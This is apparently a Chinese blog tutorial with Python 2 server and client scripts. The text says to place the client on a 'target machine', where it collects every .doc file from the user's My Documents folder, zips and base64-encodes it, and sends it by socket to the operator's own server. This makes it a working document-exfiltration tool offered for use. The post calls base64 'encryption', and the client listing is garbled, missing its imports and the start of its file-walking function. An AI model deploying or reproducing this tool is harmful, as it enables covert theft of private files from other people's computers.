python实现获取客户机上指定文件并传输到服务器的方法

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下：

该程序实现了，把目标机器的某个目录（可控）的所有的某种类型文件（可控）全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密，以及decode(infile,outfile)解密，这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py，然后client.py放到目标机器，然后python client.py即可
4、本程序设置了获取doc文件，修改extName可以获取其它类型文件

服务器端程序：

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序：

# -*- coding: cp936 -*-

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦：' % e

        cs.close()

if __name__=='__main__':

    main()
